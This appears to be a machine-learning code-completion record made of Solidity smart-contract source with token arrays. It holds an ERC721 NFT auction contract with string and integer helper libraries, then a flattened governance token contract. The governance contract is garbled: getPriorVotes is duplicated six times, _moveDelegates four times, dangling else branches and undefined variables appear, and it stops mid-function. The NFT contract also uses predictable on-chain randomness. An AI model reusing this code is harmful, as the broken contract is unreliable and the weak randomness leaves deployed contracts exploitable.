* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* @dev Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// File: contracts\Integers.sol
/**
* Integers Library
*
* In summary this is a simple library of integer functions which allow a simple
* conversion to and from strings
*
* @author James Lockhart <[email protected]>
*/
library Integers {
/**
* Parse Int
*
* Converts an ASCII string value into an uint as long as the string
* its self is a valid unsigned integer
*
* @param _value The ASCII string to be converted to an unsigned integer
* @return uint The unsigned value of the ASCII string
*/
function parseInt(string _value)
public
returns (uint _ret) {
bytes memory _bytesValue = bytes(_value);
uint j = 1;
for(uint i = _bytesValue.length-1; i >= 0 && i < _bytesValue.length; i--) {
assert(_bytesValue[i] >= 48 && _bytesValue[i] <= 57);
_ret += (uint(_bytesValue[i]) - 48)*j;
j*=10;
}
}
/**
* To String
*
* Converts an unsigned integer to the ASCII string equivalent value
*
* @param _base The unsigned integer to be converted to a string
* @return string The resulting ASCII string value
*/
function toString(uint _base)
internal
returns (string) {
bytes memory _tmp = new bytes(32);
uint i;
for(i = 0;_base > 0;i++) {
_tmp[i] = byte((_base % 10) + 48);
_base /= 10;
}
bytes memory _real = new bytes(i--);
for(uint j = 0; j < _real.length; j++) {
_real[j] = _tmp[i--];
}
return string(_real);
}
/**
* To Byte
*
* Convert an 8 bit unsigned integer to a byte
*
* @param _base The 8 bit unsigned integer
* @return byte The byte equivalent
*/
function toByte(uint8 _base)
public
returns (byte _ret) {
assembly {
let m_alloc := add(msize(),0x1)
mstore8(m_alloc, _base)
_ret := mload(m_alloc)
}
}
/**
* To Bytes
*
* Converts an unsigned integer to bytes
*
* @param _base The integer to be converted to bytes
* @return bytes The bytes equivalent
*/
function toBytes(uint _base)
internal
returns (bytes _ret) {
assembly {
let m_alloc := add(msize(),0x1)
_ret := mload(m_alloc)
mstore(_ret, 0x20)
mstore(add(_ret, 0x20), _base)
}
}
}
// File: contracts\Strings.sol
/**
* Strings Library
*
* In summary this is a simple library of string functions which make simple
* string operations less tedious in solidity.
*
* Please be aware these functions can be quite gas heavy so use them only when
* necessary not to clog the blockchain with expensive transactions.
*
* @author James Lockhart <[email protected]>
*/
library Strings {
/**
* Concat (High gas cost)
*
* Appends two strings together and returns a new value
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string which will be the concatenated
* prefix
* @param _value The value to be the concatenated suffix
* @return string The resulting string from combinging the base and value
*/
function concat(string _base, string _value)
internal
returns (string) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length > 0);
string memory _tmpValue = new string(_baseBytes.length +
_valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i = 0; i < _baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i = 0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
/**
* Index Of
*
* Locates and returns the position of a character within a string
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string acting as the haystack to be
* searched
* @param _value The needle to search for, at present this is currently
* limited to one character
* @return int The position of the needle starting from 0 and returning -1
* in the case of no matches found
*/
function indexOf(string _base, string _value)
internal
returns (int) {
return _indexOf(_base, _value, 0);
}
/**
* Index Of
*
* Locates and returns the position of a character within a string starting
* from a defined offset
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string acting as the haystack to be
* searched
* @param _value The needle to search for, at present this is currently
* limited to one character
* @param _offset The starting point to start searching from which can start
* from 0, but must not exceed the length of the string
* @return int The position of the needle starting from 0 and returning -1
* in the case of no matches found
*/
function _indexOf(string _base, string _value, uint _offset)
internal
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for(uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
/**
* Length
*
* Returns the length of the specified string
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string to be measured
* @return uint The length of the passed string
*/
function length(string _base)
internal
returns (uint) {
bytes memory _baseBytes = bytes(_base);
return _baseBytes.length;
}
/**
* Sub String
*
* Extracts the beginning part of a string based on the desired length
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string that will be used for
* extracting the sub string from
* @param _length The length of the sub string to be extracted from the base
* @return string The extracted sub string
*/
function substring(string _base, int _length)
internal
returns (string) {
return _substring(_base, _length, 0);
}
/**
* Sub String
*
* Extracts the part of a string based on the desired length and offset. The
* offset and length must not exceed the lenth of the base string.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string that will be used for
* extracting the sub string from
* @param _length The length of the sub string to be extracted from the base
* @param _offset The starting point to extract the sub string from
* @return string The extracted sub string
*/
function _substring(string _base, int _length, int _offset)
internal
returns (string) {
bytes memory _baseBytes = bytes(_base);
assert(uint(_offset+_length) <= _baseBytes.length);
string memory _tmp = new string(uint(_length));
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for(uint i = uint(_offset); i < uint(_offset+_length); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
return string(_tmpBytes);
}
/**
* String Split (Very high gas cost)
*
* Splits a string into an array of strings based off the delimiter value.
* Please note this can be quite a gas expensive function due to the use of
* storage so only use if really required.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string value to be split.
* @param _value The delimiter to split the string on which must be a single
* character
* @return string[] An array of values split based off the delimiter, but
* do not container the delimiter.
*/
function split(string _base, string _value)
internal
returns (string[] storage splitArr) {
bytes memory _baseBytes = bytes(_base);
uint _offset = 0;
while(_offset < _baseBytes.length-1) {
int _limit = _indexOf(_base, _value, _offset);
if (_limit == -1) {
_limit = int(_baseBytes.length);
}
string memory _tmp = new string(uint(_limit)-_offset);
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for(uint i = _offset; i < uint(_limit); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
_offset = uint(_limit) + 1;
splitArr.push(string(_tmpBytes));
}
return splitArr;
}
/**
* Compare To
*
* Compares the characters of two strings, to ensure that they have an
* identical footprint
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to compare against
* @param _value The string the base is being compared to
* @return bool Simply notates if the two string have an equivalent
*/
function compareTo(string _base, string _value)
internal
returns (bool) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
if (_baseBytes.length != _valueBytes.length) {
return false;
}
for(uint i = 0; i < _baseBytes.length; i++) {
if (_baseBytes[i] != _valueBytes[i]) {
return false;
}
}
return true;
}
/**
* Compare To Ignore Case (High gas cost)
*
* Compares the characters of two strings, converting them to the same case
* where applicable to alphabetic characters to distinguish if the values
* match.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to compare against
* @param _value The string the base is being compared to
* @return bool Simply notates if the two string have an equivalent value
* discarding case
*/
function compareToIgnoreCase(string _base, string _value)
internal
returns (bool) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
if (_baseBytes.length != _valueBytes.length) {
return false;
}
for(uint i = 0; i < _baseBytes.length; i++) {
if (_baseBytes[i] != _valueBytes[i] &&
_upper(_baseBytes[i]) != _upper(_valueBytes[i])) {
return false;
}
}
return true;
}
/**
* Upper
*
* Converts all the values of a string to their corresponding upper case
* value.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to convert to upper case
* @return string
*/
function upper(string _base)
internal
returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _upper(_baseBytes[i]);
}
return string(_baseBytes);
}
/**
* Lower
*
* Converts all the values of a string to their corresponding lower case
* value.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to convert to lower case
* @return string
*/
function lower(string _base)
internal
returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _lower(_baseBytes[i]);
}
return string(_baseBytes);
}
/**
* Upper
*
* Convert an alphabetic character to upper case and return the original
* value when not alphabetic
*
* @param _b1 The byte to be converted to upper case
* @return bytes1 The converted value if the passed value was alphabetic
* and in a lower case otherwise returns the original value
*/
function _upper(bytes1 _b1)
private
constant
returns (bytes1) {
if (_b1 >= 0x61 && _b1 <= 0x7A) {
return bytes1(uint8(_b1)-32);
}
return _b1;
}
/**
* Lower
*
* Convert an alphabetic character to lower case and return the original
* value when not alphabetic
*
* @param _b1 The byte to be converted to lower case
* @return bytes1 The converted value if the passed value was alphabetic
* and in a upper case otherwise returns the original value
*/
function _lower(bytes1 _b1)
private
constant
returns (bytes1) {
if (_b1 >= 0x41 && _b1 <= 0x5A) {
return bytes1(uint8(_b1)+32);
}
return _b1;
}
}
// File: contracts\EtherBrosMaker.sol
contract EtherBrosMaker is Ownable, ERC721Token {
using Strings for string;
using Integers for uint;
event AuctionCreated(uint256 tokenId, uint256 price);
event AuctionSuccessful(uint256 tokenId, uint256 price, address buyer);
event AuctionCancelled(uint256 tokenId);
struct Auction {
address seller;
uint128 price;
}
mapping (uint256 => Auction) public tokenIdToAuction;
mapping (uint256 => string) public tokenImage;
uint128 public mintingFee = 0.001 ether;
uint8 prefix = 1;
string preURI = "https://enigmatic-castle-32612.herokuapp.com/api/meta?tokenId=";
string image = "http://app.givinglog.com/game/ether-bros-maker/img/Etherbro";
uint private nonce = 0;
uint16[] public etherBros;
uint128 ownerCut = 100;
function EtherBrosMaker () ERC721Token("EtherBrosMaker" ,"EBM") public {
}
/*** Owner Action ***/
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function setPrefix(uint8 _prefix) external onlyOwner {
require(prefix > 0);
prefix = _prefix;
}
function setPreURI(string _preURI) external onlyOwner {
preURI = _preURI;
}
function _createEtherBro(uint16 _genes,address _owner) internal returns (uint32){
uint32 newEtherBroId = uint32(etherBros.push(_genes) - 1);
_mint(_owner, newEtherBroId);
string memory _uri = preURI.concat(uint(_genes).toString());
tokenImage[newEtherBroId] = image.concat(uint(_genes).toString()).concat(".png");
_setTokenURI(newEtherBroId, _uri);
return newEtherBroId;
}
function _gensGenerate() internal returns(uint16){
uint16 result = prefix * 10000;
uint8 _randam1 = rand();
uint8 _randam2 = rand();
uint8 _randam3 = rand();
uint8 _randam4 = rand();
if (_randam1 > 0 && _randam1 <4){
result = result + 1000;
} else if (_randam1 > 3 && _randam1 <7){
result = result + 2000;
} else if (_randam1 > 6){
result = result + 3000;
}
if (_randam2 > 0 && _randam2 <4){
result = result + 100;
} else if (_randam2 > 3 && _randam2 <7){
result = result + 200;
} else if (_randam2 > 6){
result = result + 300;
}
if (_randam3 > 0 && _randam3 <4){
result = result + 10;
} else if (_randam3 > 3 && _randam3 <7){
result = result + 20;
} else if (_randam3 > 6){
result = result + 30;
}
if (_randam4 > 0 && _randam4 <4){
result = result + 1;
} else if (_randam4 > 3 && _randam4 <7){
result = result + 2;
} else if (_randam4 > 6){
result = result + 3;
}
return result;
}
function mintEtherBro () public {
_createEtherBro(_gensGenerate(),msg.sender);
}
function mintPromoEtherBro (uint16 _gens) public onlyOwner {
uint16 _promoGens = prefix * 10000 + _gens;
_createEtherBro(_promoGens, msg.sender);
}
function rand() internal returns (uint8){
nonce++;
return uint8(uint256(keccak256(nonce))%10);
}
function myEtherBros(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
function myEtherBrosCount(address _owner) public view returns (uint256) {
return ownedTokensCount[_owner];
}
function returnIdImage(uint32 _id) public view returns (uint32, string){
return (_id, tokenImage[_id]);
}
// function addEtherBroAuction(uint256 _tokenId, uint128 _price) public returns (bool) {
function addEtherBroAuction(uint256 _tokenId, uint128 _price) public {
require(ownerOf(_tokenId) == msg.sender);
require(tokenIdToAuction[_tokenId].seller == address(0));
require(_price >= 0);
Auction memory _auction = Auction(msg.sender, _price);
tokenIdToAuction[_tokenId] = _auction;
approve(address(this), _tokenId);
transferFrom(msg.sender, address(this), _tokenId);
AuctionCreated(uint256(_tokenId), uint256(_auction.price));
}
function cancelEtherBroAuction(uint256 _tokenId) public {
require(tokenIdToAuction[_tokenId].seller == msg.sender);
this.transferFrom(address(this), tokenIdToAuction[_tokenId].seller, _tokenId);
delete tokenIdToAuction[_tokenId];
AuctionCancelled(_tokenId);
}
function purchase(uint256 _tokenId) public payable {
require(tokenIdToAuction[_tokenId].seller != address(0));
require(tokenIdToAuction[_tokenId].seller != msg.sender);
require(tokenIdToAuction[_tokenId].price == msg.value);
Auction memory auction = tokenIdToAuction[_tokenId];
if (auction.price > 0) {
uint128 actualOwnerCut = _computeOwnerCut(auction.price);
uint128 proceeds = auction.price - actualOwnerCut;
auction.seller.transfer(proceeds);
}
delete tokenIdToAuction[_tokenId];
this.transferFrom(address(this), msg.sender, _tokenId);
AuctionSuccessful(_tokenId, auction.price, msg.sender);
}
/*** Tools ***/
function _computeOwnerCut(uint128 _price) internal view returns (uint128) {
return _price * ownerCut / 10000;
}
} | function addEtherBroAuction(uint256 _tokenId, uint128 _price) public returns (bool) { | function addEtherBroAuction(uint256 _tokenId, uint128 _price) public {
require(ownerOf(_tokenId) == msg.sender);
require(tokenIdToAuction[_tokenId].seller == address(0));
require(_price >= 0);
Auction memory _auction = Auction(msg.sender, _price);
tokenIdToAuction[_tokenId] = _auction;
approve(address(this), _tokenId);
transferFrom(msg.sender, address(this), _tokenId);
AuctionCreated(uint256(_tokenId), uint256(_auction.price));
}
| 4,810,516 | [
1,
915,
527,
41,
1136,
38,
303,
37,
4062,
12,
11890,
5034,
389,
2316,
548,
16,
2254,
10392,
389,
8694,
13,
1071,
1135,
261,
6430,
13,
288,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
41,
1136,
38,
303,
37,
4062,
12,
11890,
5034,
389,
2316,
548,
16,
2254,
10392,
389,
8694,
13,
1071,
288,
203,
3639,
2583,
12,
8443,
951,
24899,
2316,
548,
13,
422,
1234,
18,
15330,
1769,
203,
3639,
2583,
12,
2316,
28803,
37,
4062,
63,
67,
2316,
548,
8009,
1786,
749,
422,
1758,
12,
20,
10019,
203,
3639,
2583,
24899,
8694,
1545,
374,
1769,
203,
203,
3639,
432,
4062,
3778,
389,
69,
4062,
273,
432,
4062,
12,
3576,
18,
15330,
16,
389,
8694,
1769,
203,
3639,
1147,
28803,
37,
4062,
63,
67,
2316,
548,
65,
273,
389,
69,
4062,
31,
203,
203,
3639,
6617,
537,
12,
2867,
12,
2211,
3631,
389,
2316,
548,
1769,
203,
3639,
7412,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
2316,
548,
1769,
203,
203,
3639,
432,
4062,
6119,
12,
11890,
5034,
24899,
2316,
548,
3631,
2254,
5034,
24899,
69,
4062,
18,
8694,
10019,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0x5C351CE0194759904d6B40E3b2B8751A1fBf876D/sources/SuperFarm.sol | IvaultFinance with Governance. | contract IvaultFinance is BEP20('Ivault Token', 'IVAULT') {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "IVAULT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "IVAULT::delegateBySig: invalid nonce");
require(now <= expiry, "IVAULT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IVAULT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IVAULT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IVAULT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IVAULT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IVAULT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "IVAULT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
} else if (cp.fromBlock < blockNumber) {
} else {
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
